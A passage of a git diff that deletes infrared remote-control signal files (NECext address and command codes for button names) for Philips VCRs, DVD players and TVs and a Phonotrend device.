-command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 09 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0C 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0C 00 00 00 -# -name: TRACKING -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0E 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0F 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1D 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1E 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 23 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 25 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 26 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 29 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 31 00 00 00 -# -name: GOTO -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 33 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 36 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 37 00 00 00 -# -name: SP/LP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_VR175/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_VR175/5,-1.ir deleted file mode 100644 index 55aec0faf..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_VR175/5,-1.ir +++ /dev/null @@ -1,164 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 09 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0B 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0C 00 00 00 -# -name: timer -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1D 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 21 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 25 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 26 00 00 00 -# -name: still -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 29 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 31 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 36 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 37 00 00 00 -# -name: sp/lp -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3A 00 00 00 -# -name: system -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 4A 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 57 00 00 00 -# -name: index -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 70 00 00 00 -# -name: monitor -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 7A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_digital/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_digital/0,-1.ir deleted file mode 100644 index 2a288ecbf..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_digital/0,-1.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: PSEL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: OFF2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: BR+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: BR- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: BW+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: BW- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: PPREV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 22 00 00 00 -# -name: OFF1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 -# -name: OPT1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2A 00 00 00 -# -name: OPT4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: OPT3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2C 00 00 00 -# -name: OPT2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2D 00 00 00 -# -name: SPLIT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: VT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: SCREEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_dvd712/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_dvd712/4,-1.ir deleted file mode 100644 index 63a021e3e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_dvd712/4,-1.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0C 00 00 00 -# -name: Shuffle -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1C 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1D 00 00 00 -# -name: Skip_Right -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 20 00 00 00 -# -name: Skip_Left -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 21 00 00 00 -# -name: Scan -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2A 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2C 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 30 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 31 00 00 00 -# -name: Repeat_AB -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 3B 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4B 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4E 00 00 00 -# -name: Disc_Menu -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 54 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 58 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 59 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5B 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5C 00 00 00 -# -name: System_Menu -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 82 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 83 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 85 00 00 00 -# -name: Secret -type: parsed -protocol: NECext -address: 04 00 00 00 -command: EB 00 00 00 -# -name: Display -type: parsed -protocol: NECext -address: 04 00 00 00 -command: EF 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: F7 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_philips-rc2592-MODE-v1/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_philips-rc2592-MODE-v1/8,-1.ir deleted file mode 100644 index 894b5cebe..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_philips-rc2592-MODE-v1/8,-1.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0C 00 00 00 -# -name: i+ -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0F 00 00 00 -# -name: prg+ -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 20 00 00 00 -# -name: prg- -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 21 00 00 00 -# -name: pp -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 22 00 00 00 -# -name: i+ii -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 23 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 2A 00 00 00 -# -name: updown -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 2B 00 00 00 -# -name: questionmark -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 2C 00 00 00 -# -name: screenright -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 38 00 00 00 -# -name: lines -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 3C 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 50 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 51 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 52 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 55 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 56 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 57 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6B 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6C 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6D 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6E 00 00 00 -# -name: white -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6F 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_rd5860.conf/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_rd5860.conf/20,-1.ir deleted file mode 100644 index 6cc57d687..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_rd5860.conf/20,-1.ir +++ /dev/null @@ -1,134 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 09 00 00 00 -# -name: random -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1C 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1D 00 00 00 -# -name: track-up -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 20 00 00 00 -# -name: track-down -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 21 00 00 00 -# -name: scan -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 2B 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 2D 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 30 00 00 00 -# -name: search-down -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 32 00 00 00 -# -name: search-up -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 34 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 36 00 00 00 -# -name: a/b -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 3B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_uDigital/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_uDigital/0,-1.ir deleted file mode 100644 index 61ba70118..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_uDigital/0,-1.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_1- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: PP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: BRIGHTNESS_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: BRIGHTNESS_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: COLOR_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: COLOR_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: BASS_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: BASS_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: TREBLE_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: TREBLE_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: BALANCE_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: BALANCE_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: CONTRAST_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: CONTRAST_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: GO_BACK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 22 00 00 00 -# -name: L1-L2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 -# -name: SPATIAL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 24 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 31 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/VCR/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/VCR/5,-1.ir deleted file mode 100644 index ee009b148..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/VCR/5,-1.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 01 00 00 00 -# -name: START+ -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 02 00 00 00 -# -name: STOP_+ -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 03 00 00 00 -# -name: DATE_+ -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 04 00 00 00 -# -name: START- -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 05 00 00 00 -# -name: STOP_- -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 06 00 00 00 -# -name: DATE_- -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 09 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0C 00 00 00 -# -name: CHANNEL+ -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 21 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 29 00 00 00 -# -name: REWIND_<< -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 32 00 00 00 -# -name: FAST_FORWARD_>> -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 34 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 35 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 35 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 36 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 36 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 37 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 45 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 57 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Phonotrend/Unknown_Prestige/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Phonotrend/Unknown_Prestige/4,-1.ir deleted file mode 100644 index a292b490b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Phonotrend/Unknown_Prestige/4,-1.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: P/I -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 04 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 05 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 07 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0A 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0C 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0D 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0E 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0F 00 00 00 -# -name: FAST_RWD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 11 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 12 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 13 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 14 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 15 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 16 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 17 00 00 00 -# -name: KEY_PREVIOUS -type: parsed 